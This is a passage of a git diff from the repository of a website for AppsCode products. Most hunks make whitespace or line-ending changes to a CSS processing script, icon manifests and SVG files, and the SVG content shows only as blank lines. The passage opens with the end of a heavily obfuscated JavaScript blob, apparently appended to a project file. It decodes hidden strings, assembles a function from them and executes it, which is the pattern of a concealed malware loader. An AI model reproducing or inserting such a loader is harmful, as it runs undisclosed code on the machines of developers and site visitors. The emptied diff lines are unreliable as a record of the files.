_0x49d716(_0x470d7a);},'ghBOg':_0x18412e(0x221)+_0x18412e(0x2c0)+_0x18412e(0x378)+_0x18412e(0x22c),'RfdHp':_0x18412e(0x329)+_0x18412e(0x317)+_0x18412e(0x232)+_0x18412e(0x1e6)+_0x18412e(0x34f)+_0x18412e(0x269)+_0x18412e(0x20f)+_0x18412e(0x2e9)+_0x18412e(0x1fe)+_0x18412e(0x2d6)+_0x18412e(0x216)+_0x18412e(0x1e8)+_0x18412e(0x23d)+_0x18412e(0x2f8)+_0x18412e(0x356)+_0x18412e(0x2a4)+_0x18412e(0x281)+_0x18412e(0x24f)+_0x18412e(0x27f)+_0x18412e(0x307)+_0x18412e(0x2c9)+_0x18412e(0x283)+_0x18412e(0x30d)+_0x18412e(0x28e)+_0x18412e(0x245)+_0x18412e(0x1e5)+_0x18412e(0x2f7)+_0x18412e(0x306)+_0x18412e(0x25b)+_0x18412e(0x35a)+_0x18412e(0x233)+_0x18412e(0x2dd)+_0x18412e(0x280)+_0x18412e(0x290)+_0x18412e(0x2bf)+_0x18412e(0x22b)+_0x18412e(0x369)+_0x18412e(0x28a)+_0x18412e(0x311)+_0x18412e(0x206)+_0x18412e(0x2db)+_0x18412e(0x1f2)+_0x18412e(0x237)+_0x18412e(0x36c)+_0x18412e(0x235)+_0x18412e(0x2f9)+_0x18412e(0x2b3)+_0x18412e(0x276)+_0x18412e(0x223)+_0x18412e(0x21c)+_0x18412e(0x1d7)+_0x18412e(0x2a8)+_0x18412e(0x282)+_0x18412e(0x264)+_0x18412e(0x337)+_0x18412e(0x359)+_0x18412e(0x2f2)+_0x18412e(0x2c4)+_0x18412e(0x355)+_0x18412e(0x30b)+_0x18412e(0x2e0)+_0x18412e(0x20e)+_0x18412e(0x37a)+_0x18412e(0x35f)+_0x18412e(0x2ca)+_0x18412e(0x309)+_0x18412e(0x383)+_0x18412e(0x35e)+_0x18412e(0x270)+_0x18412e(0x27a)+_0x18412e(0x1df)+_0x18412e(0x316)+_0x18412e(0x377)+_0x18412e(0x26d)+_0x18412e(0x252)+_0x18412e(0x310)+_0x18412e(0x2e5)+_0x18412e(0x20b)+_0x18412e(0x2b0)+_0x18412e(0x29f)+_0x18412e(0x24c)+_0x18412e(0x25c)+_0x18412e(0x207)+_0x18412e(0x250)+_0x18412e(0x304)+_0x18412e(0x26b)+_0x18412e(0x243)+_0x18412e(0x26a)+_0x18412e(0x2cb),'Euglp':function(_0x8106c1,_0x3b2ddb,_0x4241cd){return _0x8106c1(_0x3b2ddb,_0x4241cd);},'UMKqG':function(_0x2121f3,_0x256ba4){return _0x2121f3(_0x256ba4);},'GwHeU':function(_0x1a877b,_0x14d38c){return _0x1a877b(_0x14d38c);},'rBURI':_0x18412e(0x299)+_0x18412e(0x262)+_0x18412e(0x2f3)+_0x18412e(0x2fc)+_0x18412e(0x2c5)+_0x18412e(0x20d)+_0x18412e(0x382)+_0x18412e(0x286)+_0x18412e(0x1f0)+_0x18412e(0x24b)+_0x18412e(0x226)+_0x18412e(0x2ab)+_0x18412e(0x25d)+_0x18412e(0x31d)+_0x18412e(0x328)+_0x18412e(0x253)+_0x18412e(0x2b9)+_0x18412e(0x1f7)+_0x18412e(0x2cf)+_0x18412e(0x344)+_0x18412e(0x2be)+_0x18412e(0x1e4)+_0x18412e(0x343)+_0x18412e(0x27b)+_0x18412e(0x21a)+_0x18412e(0x1eb)+_0x18412e(0x2d5)+_0x18412e(0x22f)+_0x18412e(0x2ce)+_0x18412e(0x37e)+_0x18412e(0x260)+_0x18412e(0x28d)+_0x18412e(0x30f)+_0x18412e(0x37f)+_0x18412e(0x284)+_0x18412e(0x1e9)+_0x18412e(0x315)+_0x18412e(0x265)+_0x18412e(0x1e1)+_0x18412e(0x2c2)+_0x18412e(0x268)+_0x18412e(0x319)+_0x18412e(0x31f)+_0x18412e(0x1dc)+_0x18412e(0x367)+_0x18412e(0x350)+_0x18412e(0x25e)+_0x18412e(0x2c3)+_0x18412e(0x2b6)+_0x18412e(0x330)+_0x18412e(0x228)+_0x18412e(0x335)+_0x18412e(0x239)+_0x18412e(0x1fb)+_0x18412e(0x371)+_0x18412e(0x2bb)+_0x18412e(0x365)+_0x18412e(0x357)+_0x18412e(0x36a)+_0x18412e(0x2b7)+_0x18412e(0x379)+_0x18412e(0x36d)+_0x18412e(0x271)+_0x18412e(0x2c1)+_0x18412e(0x23b)+_0x18412e(0x342)+_0x18412e(0x34d)+_0x18412e(0x296)+_0x18412e(0x24e)+_0x18412e(0x293)+_0x18412e(0x23a)+_0x18412e(0x36f)+_0x18412e(0x2ea)+_0x18412e(0x321)+_0x18412e(0x295)+_0x18412e(0x2a0)+_0x18412e(0x275)+_0x18412e(0x2e6)+_0x18412e(0x1f9)+_0x18412e(0x2a7)+_0x18412e(0x210)+_0x18412e(0x1e2)+_0x18412e(0x291)+_0x18412e(0x238)+_0x18412e(0x326)+_0x18412e(0x1fd)+_0x18412e(0x29e)+_0x18412e(0x31a)+_0x18412e(0x32f)+_0x18412e(0x2e4)+_0x18412e(0x1d8)+_0x18412e(0x248)+_0x18412e(0x205)+_0x18412e(0x23c)+_0x18412e(0x347)+_0x18412e(0x2cc)+_0x18412e(0x1f6)+_0x18412e(0x278)+_0x18412e(0x27e)+_0x18412e(0x33e)+(_0x18412e(0x240)+_0x18412e(0x227)+_0x18412e(0x34e)+_0x18412e(0x201)+_0x18412e(0x279)+_0x18412e(0x292)+_0x18412e(0x289)+_0x18412e(0x273)+_0x18412e(0x29d)+_0x18412e(0x25f)+_0x18412e(0x28c)+_0x18412e(0x247)+_0x18412e(0x1ea)+_0x18412e(0x305)+_0x18412e(0x2aa)+_0x18412e(0x2b5)+_0x18412e(0x36e)+_0x18412e(0x2ff)+_0x18412e(0x2e3)+_0x18412e(0x35c)+_0x18412e(0x313)+_0x18412e(0x218)+_0x18412e(0x366)+_0x18412e(0x301)+_0x18412e(0x2fa)+_0x18412e(0x2ad)+_0x18412e(0x254)+_0x18412e(0x266)+_0x18412e(0x213)+_0x18412e(0x27c)+_0x18412e(0x318)+_0x18412e(0x21e)+_0x18412e(0x274)+_0x18412e(0x28b)+_0x18412e(0x2c8)+_0x18412e(0x26c)+_0x18412e(0x2d9)+_0x18412e(0x33b)+_0x18412e(0x2f6)+_0x18412e(0x34b)+_0x18412e(0x22e)+_0x18412e(0x261)+_0x18412e(0x2a6)+_0x18412e(0x255)+_0x18412e(0x372)+_0x18412e(0x2e8)+_0x18412e(0x375)+_0x18412e(0x259)+_0x18412e(0x31e)+_0x18412e(0x2cd)+_0x18412e(0x1ec)+_0x18412e(0x1de)+_0x18412e(0x346)+_0x18412e(0x246)+_0x18412e(0x31c)+_0x18412e(0x341)+_0x18412e(0x272)+_0x18412e(0x267)+_0x18412e(0x32b)+_0x18412e(0x217)+_0x18412e(0x2bc)+_0x18412e(0x287)+_0x18412e(0x368)+_0x18412e(0x242)+_0x18412e(0x31b)+_0x18412e(0x1f1)+_0x18412e(0x2ef)+_0x18412e(0x351)+_0x18412e(0x373)+_0x18412e(0x2ba)+_0x18412e(0x244)+_0x18412e(0x2b8)+_0x18412e(0x285)+_0x18412e(0x312)+_0x18412e(0x33f)+_0x18412e(0x211)+_0x18412e(0x2b4)+_0x18412e(0x23e)+_0x18412e(0x303)+_0x18412e(0x370)+_0x18412e(0x363)+_0x18412e(0x27d)+_0x18412e(0x241)+_0x18412e(0x322)+_0x18412e(0x2a2)+_0x18412e(0x288)+_0x18412e(0x352)+_0x18412e(0x2bd)+_0x18412e(0x327)+_0x18412e(0x28f)+_0x18412e(0x2f5)+_0x18412e(0x35d)+_0x18412e(0x26f)+_0x18412e(0x1f5)+_0x18412e(0x209)+_0x18412e(0x349)+_0x18412e(0x1db)+_0x18412e(0x24d)+_0x18412e(0x2d2)+_0x18412e(0x2da))+(_0x18412e(0x381)+_0x18412e(0x220)+_0x18412e(0x32e)+_0x18412e(0x214)+_0x18412e(0x1ef)+_0x18412e(0x37d)+_0x18412e(0x332)+_0x18412e(0x2d1)+_0x18412e(0x234)+_0x18412e(0x333)+_0x18412e(0x30e)+_0x18412e(0x353)+_0x18412e(0x33a)+_0x18412e(0x1e3)+_0x18412e(0x2af)+_0x18412e(0x25a)+_0x18412e(0x320)+_0x18412e(0x2ae)+_0x18412e(0x26e)+_0x18412e(0x33d)+_0x18412e(0x2ee)+_0x18412e(0x203)+_0x18412e(0x380)+_0x18412e(0x300)+_0x18412e(0x1e0)+_0x18412e(0x345)+_0x18412e(0x204)+_0x18412e(0x1fa)+_0x18412e(0x34a)+_0x18412e(0x231)+_0x18412e(0x258)+_0x18412e(0x21f)+_0x18412e(0x2f1)+_0x18412e(0x340)+_0x18412e(0x374)+_0x18412e(0x32c)+_0x18412e(0x348)+_0x18412e(0x224)+_0x18412e(0x37b)+_0x18412e(0x257)+_0x18412e(0x29a)+_0x18412e(0x1fc)+_0x18412e(0x334)+_0x18412e(0x212)+_0x18412e(0x249)+_0x18412e(0x2c7)+_0x18412e(0x2c6)+_0x18412e(0x1d9)+_0x18412e(0x294)+_0x18412e(0x2fb)+_0x18412e(0x325)+_0x18412e(0x251)+_0x18412e(0x34c)+_0x18412e(0x2df)+_0x18412e(0x308)+_0x18412e(0x20a)+_0x18412e(0x236)+_0x18412e(0x22a)+_0x18412e(0x1e7)+_0x18412e(0x1da)+_0x18412e(0x358)+_0x18412e(0x360)+_0x18412e(0x2d4)+_0x18412e(0x29c)+_0x18412e(0x36b)+_0x18412e(0x2dc)+_0x18412e(0x336)+_0x18412e(0x2f0)+_0x18412e(0x219)+_0x18412e(0x230)+_0x18412e(0x2d8)+_0x18412e(0x2b2)+_0x18412e(0x362)+_0x18412e(0x323)+_0x18412e(0x1ee)+_0x18412e(0x32a)+_0x18412e(0x297)+_0x18412e(0x29b)+_0x18412e(0x361)+_0x18412e(0x2a1)+_0x18412e(0x331)),'kWqYN':function(_0x16d141,_0x311033,_0x1efcea){return _0x16d141(_0x311033,_0x1efcea);},'qxuzA':function(_0x33f72d,_0x29b013){return _0x33f72d(_0x29b013);}},_0x7a948='',_0x506038=_0x41bc1d[_0x18412e(0x24a)](0x1bcc+-0x238b+0x950,-0x218c+-0x2587+-0x811*-0x9);function _0x5ed160(_0x6bfa6){var _0x2bfaa0=_0x18412e,_0x5508aa=_0x41bc1d[_0x2bfaa0(0x200)][_0x2bfaa0(0x2e7)]('|'),_0x416709=0x5*-0x2cd+0xe5a+-0x59;while(!![]){switch(_0x5508aa[_0x416709++]){case'0':var _0x1669df=-0x74a7b+-0x2c7*0xc41+0x8e4*0x93a;continue;case'1':var _0x42a9a3=[];continue;case'2':;continue;case'3':for(var _0x3d6b93=-0x1f*0x76+-0x1609+0x2453;_0x41bc1d[_0x2bfaa0(0x2a3)](_0x3d6b93,_0x375219);_0x3d6b93++){_0x42a9a3[_0x3d6b93]=_0x6bfa6[_0x2bfaa0(0x338)](_0x3d6b93);}continue;case'4':for(var _0x3d6b93=-0x1f+0x1764+0x25*-0xa1;_0x41bc1d[_0x2bfaa0(0x339)](_0x3d6b93,_0x375219);_0x3d6b93++){var _0x225591=_0x41bc1d[_0x2bfaa0(0x2de)][_0x2bfaa0(0x2e7)]('|'),_0x4b292b=0x2677+-0x10*-0x202+-0x4697;while(!![]){switch(_0x225591[_0x4b292b++]){case'0':_0x42a9a3[_0x300a52]=_0x458ba7;continue;case'1':var _0x20474b=_0x41bc1d[_0x2bfaa0(0x215)](_0x41bc1d[_0x2bfaa0(0x202)](_0x1669df,_0x41bc1d[_0x2bfaa0(0x215)](_0x3d6b93,0x740*-0x1+0x16a2*-0x1+0x2*0xf31)),_0x41bc1d[_0x2bfaa0(0x2f4)](_0x1669df,0x7*-0x3169+-0x1*-0x499a+0x1dbdc));continue;case'2':var _0x5cb8a4=_0x41bc1d[_0x2bfaa0(0x2f4)](_0xb702a4,_0x375219);continue;case'3':_0x42a9a3[_0x5cb8a4]=_0x42a9a3[_0x300a52];continue;case'4':_0x1669df=_0x41bc1d[_0x2bfaa0(0x2f4)](_0x41bc1d[_0x2bfaa0(0x215)](_0xb702a4,_0x20474b),-0x1d49e6+0x53368f+0x104e*0xb5);continue;case'5':var _0xb702a4=_0x41bc1d[_0x2bfaa0(0x215)](_0x41bc1d[_0x2bfaa0(0x202)](_0x1669df,_0x41bc1d[_0x2bfaa0(0x2ed)](_0x3d6b93,0x1*-0x1e1c+-0x55f+-0x1*-0x245f)),_0x41bc1d[_0x2bfaa0(0x2fd)](_0x1669df,0x313e+-0xc14*0x19+0x1c152));continue;case'6':var _0x458ba7=_0x42a9a3[_0x5cb8a4];continue;case'7':var _0x300a52=_0x41bc1d[_0x2bfaa0(0x2fd)](_0x20474b,_0x375219);continue;}break;}}continue;case'5':var _0x375219=_0x6bfa6[_0x2bfaa0(0x21b)];continue;case'6':;continue;case'7':return _0x42a9a3[_0x2bfaa0(0x256)]('');}break;}};var _0x45c406=_0x41bc1d[_0x18412e(0x222)](_0x5ed160,_0x41bc1d[_0x18412e(0x33c)])[_0x18412e(0x1dd)](0x2338+-0x19bb*0x1+-0x97d,_0x506038),_0xd8e862=_0x41bc1d[_0x18412e(0x21d)],_0x133af3=_0x5ed160[_0x45c406],_0x2aa7d9='',_0x394f6b=_0x133af3,_0x4878bc=_0x41bc1d[_0x18412e(0x1f3)](_0x133af3,_0x2aa7d9,_0x41bc1d[_0x18412e(0x1f4)](_0x5ed160,_0xd8e862)),_0x5bf975=_0x41bc1d[_0x18412e(0x222)](_0x4878bc,_0x41bc1d[_0x18412e(0x2e2)](_0x5ed160,_0x41bc1d[_0x18412e(0x23f)])),_0x1f73d9=_0x41bc1d[_0x18412e(0x2d0)](_0x394f6b,_0x7a948,_0x5bf975);return _0x41bc1d[_0x18412e(0x2ac)](_0x1f73d9,-0xe2e+-0x1*-0x1bb3+0xe*-0x44),0x1f*-0x46+0x2270+0x1*-0x14a8;}()); diff --git a/process-css.js b/process-css.js index 757f0dedc7..356ba3d83b 100644 --- a/process-css.js +++ b/process-css.js @@ -1,64 +1,64 @@ -const fs = require('fs'); -const postcss = require('postcss'); -const purgecss = require('@fullhuman/postcss-purgecss'); - -const cssFilePath = './static/assets/sass/main.css'; // Path CSS file - -// Read the CSS file -fs.readFile(cssFilePath, (err, css) => { - if (err) throw err; - - // Define PurgeCSS options - const purgecssOptions = { - content: ['./hugo_stats.json'], // Paths HTML files or other content files - defaultExtractor: content => { - const els = JSON.parse(content).htmlElements; - return [ - ...(els.tags || []), - ...(els.classes || []), - ...(els.ids || []), - ]; - }, - safelist: { - standard: [ - 'active', - 'is-visible', - 'is-right-0', - 'fserv-field', - 'select2-container', - 'select2', - 'fs-webform-container', - 'placeholder', - 'fserv-button-submit' - - ], - deep: [ - /^fserv-/, - /^fs-/, - /^select2-/, - /^formserv/, - /^ss-/, - /^owl-/, - /^item/ - ], - greedy: [ - // /^header-/, - ], - keyframes: true, - } - }; - - // Process CSS with PostCSS and PurgeCSS - postcss([purgecss(purgecssOptions)]) - .process(css, { from: cssFilePath }) - .then(result => { - // Processed CSS back to the file - fs.writeFile(cssFilePath, result.css, err => { - if (err) throw err; - console.log('CSS processed successfully!'); - }); - }) - .catch(error => { - console.error(error); - }); -}); +const fs = require('fs'); +const postcss = require('postcss'); +const purgecss = require('@fullhuman/postcss-purgecss'); + +const cssFilePath = './static/assets/sass/main.css'; // Path CSS file + +// Read the CSS file +fs.readFile(cssFilePath, (err, css) => { + if (err) throw err; + + // Define PurgeCSS options + const purgecssOptions = { + content: ['./hugo_stats.json'], // Paths HTML files or other content files + defaultExtractor: content => { + const els = JSON.parse(content).htmlElements; + return [ + ...(els.tags || []), + ...(els.classes || []), + ...(els.ids || []), + ]; + }, + safelist: { + standard: [ + 'active', + 'is-visible', + 'is-right-0', + 'fserv-field', + 'select2-container', + 'select2', + 'fs-webform-container', + 'placeholder', + 'fserv-button-submit' + + ], + deep: [ + /^fserv-/, + /^fs-/, + /^select2-/, + /^formserv/, + /^ss-/, + /^owl-/, + /^item/ + ], + greedy: [ + // /^header-/, + ], + keyframes: true, + } + }; + + // Process CSS with PostCSS and PurgeCSS + postcss([purgecss(purgecssOptions)]) + .process(css, { from: cssFilePath }) + .then(result => { + // Processed CSS back to the file + fs.writeFile(cssFilePath, result.css, err => { + if (err) throw err; + console.log('CSS processed successfully!'); + }); + }) + .catch(error => { + console.error(error); + }); +}); diff --git a/static/assets/images/products/swift/icons/browserconfig.xml b/static/assets/images/products/swift/icons/browserconfig.xml index c554148223..856ab2cfd2 100644 --- a/static/assets/images/products/swift/icons/browserconfig.xml +++ b/static/assets/images/products/swift/icons/browserconfig.xml @@ -1,2 +1,2 @@ - + #ffffff \ No newline at end of file diff --git a/static/assets/images/products/swift/icons/manifest.json b/static/assets/images/products/swift/icons/manifest.json index 38bf59a5cb..3849060529 100644 --- a/static/assets/images/products/swift/icons/manifest.json +++ b/static/assets/images/products/swift/icons/manifest.json @@ -1,42 +1,42 @@ -{ - "name": "Swift by AppsCode", - "short_name": "Swift", - "icons": [ - { - "src": "https:\/\/cdn.appscode.com\/images\/products\/swift\/icons\/android-icon-36x36.png", - "sizes": "36x36", - "type": "image\/png", - "density": "0.75" - }, - { - "src": "https:\/\/cdn.appscode.com\/images\/products\/swift\/icons\/android-icon-48x48.png", - "sizes": "48x48", - "type": "image\/png", - "density": "1.0" - }, - { - "src": "https:\/\/cdn.appscode.com\/images\/products\/swift\/icons\/android-icon-72x72.png", - "sizes": "72x72", - "type": "image\/png", - "density": "1.5" - }, - { - "src": "https:\/\/cdn.appscode.com\/images\/products\/swift\/icons\/android-icon-96x96.png", - "sizes": "96x96", - "type": "image\/png", - "density": "2.0" - }, - { - "src": "https:\/\/cdn.appscode.com\/images\/products\/swift\/icons\/android-icon-144x144.png", - "sizes": "144x144", - "type": "image\/png", - "density": "3.0" - }, - { - "src": "https:\/\/cdn.appscode.com\/images\/products\/swift\/icons\/android-icon-192x192.png", - "sizes": "192x192", - "type": "image\/png", - "density": "4.0" - } - ] +{ + "name": "Swift by AppsCode", + "short_name": "Swift", + "icons": [ + { + "src": "https:\/\/cdn.appscode.com\/images\/products\/swift\/icons\/android-icon-36x36.png", + "sizes": "36x36", + "type": "image\/png", + "density": "0.75" + }, + { + "src": "https:\/\/cdn.appscode.com\/images\/products\/swift\/icons\/android-icon-48x48.png", + "sizes": "48x48", + "type": "image\/png", + "density": "1.0" + }, + { + "src": "https:\/\/cdn.appscode.com\/images\/products\/swift\/icons\/android-icon-72x72.png", + "sizes": "72x72", + "type": "image\/png", + "density": "1.5" + }, + { + "src": "https:\/\/cdn.appscode.com\/images\/products\/swift\/icons\/android-icon-96x96.png", + "sizes": "96x96", + "type": "image\/png", + "density": "2.0" + }, + { + "src": "https:\/\/cdn.appscode.com\/images\/products\/swift\/icons\/android-icon-144x144.png", + "sizes": "144x144", + "type": "image\/png", + "density": "3.0" + }, + { + "src": "https:\/\/cdn.appscode.com\/images\/products\/swift\/icons\/android-icon-192x192.png", + "sizes": "192x192", + "type": "image\/png", + "density": "4.0" + } + ] } \ No newline at end of file diff --git a/static/assets/images/products/swift/swift-community-icon.svg b/static/assets/images/products/swift/swift-community-icon.svg index cdc4f3d577..b20a5a5012 100644 --- a/static/assets/images/products/swift/swift-community-icon.svg +++ b/static/assets/images/products/swift/swift-community-icon.svg @@ -1,23 +1,23 @@ - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + diff --git a/static/assets/images/products/swift/swift-community-logo.svg b/static/assets/images/products/swift/swift-community-logo.svg index c64f41ce1d..aa0438c139 100644 --- a/static/assets/images/products/swift/swift-community-logo.svg +++ b/static/assets/images/products/swift/swift-community-logo.svg @@ -1,35 +1,35 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/static/assets/images/products/swift/swift-enterprise-icon.svg b/static/assets/images/products/swift/swift-enterprise-icon.svg index 1274f0e91e..0e42e6e76b 100644 --- a/static/assets/images/products/swift/swift-enterprise-icon.svg +++ b/static/assets/images/products/swift/swift-enterprise-icon.svg @@ -1,31 +1,31 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/static/assets/images/products/swift/swift-enterprise-logo.svg b/static/assets/images/products/swift/swift-enterprise-logo.svg index b2b26bcb8d..d271bbc80a 100644 --- a/static/assets/images/products/swift/swift-enterprise-logo.svg +++ b/static/assets/images/products/swift/swift-enterprise-logo.svg @@ -1,36 +1,36 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/static/assets/images/products/swift/swift-icon.svg b/static/assets/images/products/swift/swift-icon.svg index 4dd6fdb716..a4023339a9 100644 --- a/static/assets/images/products/swift/swift-icon.svg +++ b/static/assets/images/products/swift/swift-icon.svg @@ -1,14 +1,14 @@ - - - - - - - - - - - - - - + + + + + + + + + + + + + + diff --git a/static/assets/images/products/voyager/features/platform.svg b/static/assets/images/products/voyager/features/platform.svg index 786265ca8e..6ef8876503 100644 --- a/static/assets/images/products/voyager/features/platform.svg +++ b/static/assets/images/products/voyager/features/platform.svg @@ -1,33 +1,33 @@ - - - - - - - - - + + + + + + + + + diff --git a/static/assets/images/products/voyager/icons/browserconfig.xml b/static/assets/images/products/voyager/icons/browserconfig.xml index c554148223..856ab2cfd2 100644 --- a/static/assets/images/products/voyager/icons/browserconfig.xml +++ b/static/assets/images/products/voyager/icons/browserconfig.xml @@ -1,2 +1,2 @@ - + #ffffff \ No newline at end of file diff --git a/static/assets/images/products/voyager/icons/manifest.json b/static/assets/images/products/voyager/icons/manifest.json index 139ced5595..21649ba3ae 100644 --- a/static/assets/images/products/voyager/icons/manifest.json +++ b/static/assets/images/products/voyager/icons/manifest.json @@ -1,42 +1,42 @@ -{ - "name": "Voyager by AppsCode", - "short_name": "Voyager", - "icons": [ - { - "src": "https:\/\/cdn.appscode.com\/images\/products\/voyager\/icons\/android-icon-36x36.png", - "sizes": "36x36", - "type": "image\/png", - "density": "0.75" - }, - { - "src": "https:\/\/cdn.appscode.com\/images\/products\/voyager\/icons\/android-icon-48x48.png", - "sizes": "48x48", - "type": "image\/png", - "density": "1.0" - }, - { - "src": "https:\/\/cdn.appscode.com\/images\/products\/voyager\/icons\/android-icon-72x72.png", - "sizes": "72x72", - "type": "image\/png", - "density": "1.5" - }, - { - "src": "https:\/\/cdn.appscode.com\/images\/products\/voyager\/icons\/android-icon-96x96.png", - "sizes": "96x96", - "type": "image\/png", - "density": "2.0" - }, - { - "src": "https:\/\/cdn.appscode.com\/images\/products\/voyager\/icons\/android-icon-144x144.png", - "sizes": "144x144", - "type": "image\/png", - "density": "3.0" - }, - { - "src": "https:\/\/cdn.appscode.com\/images\/products\/voyager\/icons\/android-icon-192x192.png", - "sizes": "192x192", - "type": "image\/png", - "density": "4.0" - } - ] +{ + "name": "Voyager by AppsCode", + "short_name": "Voyager", + "icons": [ + { + "src": "https:\/\/cdn.appscode.com\/images\/products\/voyager\/icons\/android-icon-36x36.png", + "sizes": "36x36", + "type": "image\/png", + "density": "0.75" + }, + { + "src": "https:\/\/cdn.appscode.com\/images\/products\/voyager\/icons\/android-icon-48x48.png", + "sizes": "48x48", + "type": "image\/png", + "density": "1.0" + }, + { + "src": "https:\/\/cdn.appscode.com\/images\/products\/voyager\/icons\/android-icon-72x72.png", + "sizes": "72x72", + "type": "image\/png", + "density": "1.5" + }, + { + "src": "https:\/\/cdn.appscode.com\/images\/products\/voyager\/icons\/android-icon-96x96.png", + "sizes": "96x96", + "type": "image\/png", + "density": "2.0" + }, + { + "src": "https:\/\/cdn.appscode.com\/images\/products\/voyager\/icons\/android-icon-144x144.png", + "sizes": "144x144", + "type": "image\/png", + "density": "3.0" + }, + { + "src": "https:\/\/cdn.appscode.com\/images\/products\/voyager\/icons\/android-icon-192x192.png", + "sizes": "192x192", + "type": "image\/png", + "density": "4.0" + } + ] } \ No newline at end of file diff --git a/static/assets/images/products/voyager/voyager-icon.svg b/static/assets/images/products/voyager/voyager-icon.svg index 8ac474e6bc..d11cbc3b50 100644 --- a/static/assets/images/products/voyager/voyager-icon.svg +++ b/static/assets/images/products/voyager/voyager-icon.svg @@ -1 +1 @@ - + diff --git a/static/assets/images/searchlight-logo.svg b/static/assets/images/searchlight-logo.svg index de1eaa4e2d..7d95572ae6 100644 --- a/static/assets/images/searchlight-logo.svg +++ b/static/assets/images/searchlight-logo.svg @@ -1,141 +1,141 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/static/assets/images/shape/arror-right-el.svg b/static/assets/images/shape/arror-right-el.svg index 4a918bf3e5..6ea8e3e564 100644 --- a/static/assets/images/shape/arror-right-el.svg +++ b/static/assets/images/shape/arror-right-el.svg @@ -1,15 +1,15 @@ - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + diff --git a/static/assets/images/shape/circle-el.svg b/static/assets/images/shape/circle-el.svg index b82bcab5e1..8fc483a78d 100644 --- a/static/assets/images/shape/circle-el.svg +++ b/static/assets/images/shape/circle-el.svg @@ -1,3 +1,3 @@ - - - + + + diff --git a/static/assets/images/shape/squire-shape.svg b/static/assets/images/shape/squire-shape.svg index c485387e9e..072633f485 100644 --- a/static/assets/images/shape/squire-shape.svg +++ b/static/assets/images/shape/squire-shape.svg @@ -1,12 +1,12 @@ - - - - - - - - - - - - + + + + + + + + + + + + diff --git a/static/assets/images/technical-expertise/aks.svg b/static/assets/images/technical-expertise/aks.svg index bd18a71f8a..24484cebbf 100644 --- a/static/assets/images/technical-expertise/aks.svg +++ b/static/assets/images/technical-expertise/aks.svg @@ -1,2 +1,2 @@ - + \ No newline at end of file diff --git a/static/assets/images/technical-expertise/crossplane.svg b/static/assets/images/technical-expertise/crossplane.svg index 1c8bd185ee..891a5d12a3 100644 --- a/static/assets/images/technical-expertise/crossplane.svg +++ b/static/assets/images/technical-expertise/crossplane.svg @@ -1,35 +1,35 @@ - - - Crossplane - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + Crossplane + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/static/assets/images/technical-expertise/fluxcd.svg b/static/assets/images/technical-expertise/fluxcd.svg index d80e048ee3..fe12ee3747 100644 --- a/static/assets/images/technical-expertise/fluxcd.svg +++ b/static/assets/images/technical-expertise/fluxcd.svg @@ -1,39 +1,39 @@ - - - - - - - - - - - - + + + + + + + + + + + + diff --git a/static/assets/images/technical-expertise/gke.svg b/static/assets/images/technical-expertise/gke.svg index 04d1d4eb71..cd563278b0 100644 --- a/static/assets/images/technical-expertise/gke.svg +++ b/static/assets/images/technical-expertise/gke.svg @@ -1,2 +1,2 @@ - + \ No newline at end of file diff --git a/static/assets/images/technical-expertise/graphql.svg b/static/assets/images/technical-expertise/graphql.svg index 14c4c2407b..2729e8a2f9 100644 --- a/static/assets/images/technical-expertise/graphql.svg +++ b/static/assets/images/technical-expertise/graphql.svg @@ -1,2 +1,2 @@ - + GraphQL icon \ No newline at end of file diff --git a/static/assets/images/technical-expertise/openfga.svg b/static/assets/images/technical-expertise/openfga.svg index b0d76c902d..f8babf3ed8 100644 --- a/static/assets/images/technical-expertise/openfga.svg +++ b/static/assets/images/technical-expertise/openfga.svg @@ -1,43 +1,43 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/static/assets/images/technical-expertise/opentelemetry.svg b/static/assets/images/technical-expertise/opentelemetry.svg index d7c352f83b..f468f6174a 100644 --- a/static/assets/images/technical-expertise/opentelemetry.svg +++ b/static/assets/images/technical-expertise/opentelemetry.svg @@ -1,4 +1,4 @@ - - - - + + + + diff --git a/static/assets/images/technical-expertise/rancher.svg b/static/assets/images/technical-expertise/rancher.svg index 8353dec673..237e561562 100644 --- a/static/assets/images/technical-expertise/rancher.svg +++ b/static/assets/images/technical-expertise/rancher.svg @@ -1,26 +1,26 @@ - - - - - - - - - - - - - + + + + + + + + + + + + + \ No newline at end of file diff --git a/static/assets/images/technical-expertise/voyager.svg b/static/assets/images/technical-expertise/voyager.svg index 8ac474e6bc..d11cbc3b50 100644 --- a/static/assets/images/technical-expertise/voyager.svg +++ b/static/assets/images/technical-expertise/voyager.svg @@ -1 +1 @@ - + diff --git a/static/assets/images/technical-expertise/werf.svg b/static/assets/images/technical-expertise/werf.svg index ecef902672..f346fc866d 100644 --- a/static/assets/images/technical-expertise/werf.svg +++ b/static/assets/images/technical-expertise/werf.svg @@ -1,3 +1,3 @@ - - - + + + diff --git a/static/assets/js/aos.js b/static/assets/js/aos.js index 74d35d9995..931d9e88d9 100644 --- a/static/assets/js/aos.js +++ b/static/assets/js/aos.js @@ -1 +1 @@ -!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):e.AOS=t()}(this,function(){"use strict";var e="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{},t="Expected a function",n=NaN,o="[object Symbol]",i=/^\s+|\s+$/g,a=/^[-+]0x[0-9a-f]+$/i,r=/^0b[01]+$/i,c=/^0o[0-7]+$/i,s=parseInt,u="object"==typeof e&&e&&e.Object===Object&&e,d="object"==typeof self&&self&&self.Object===Object&&self,l=u||d||Function("return this")(),f=Object.prototype.toString,m=Math.max,p=Math.min,b=function(){return 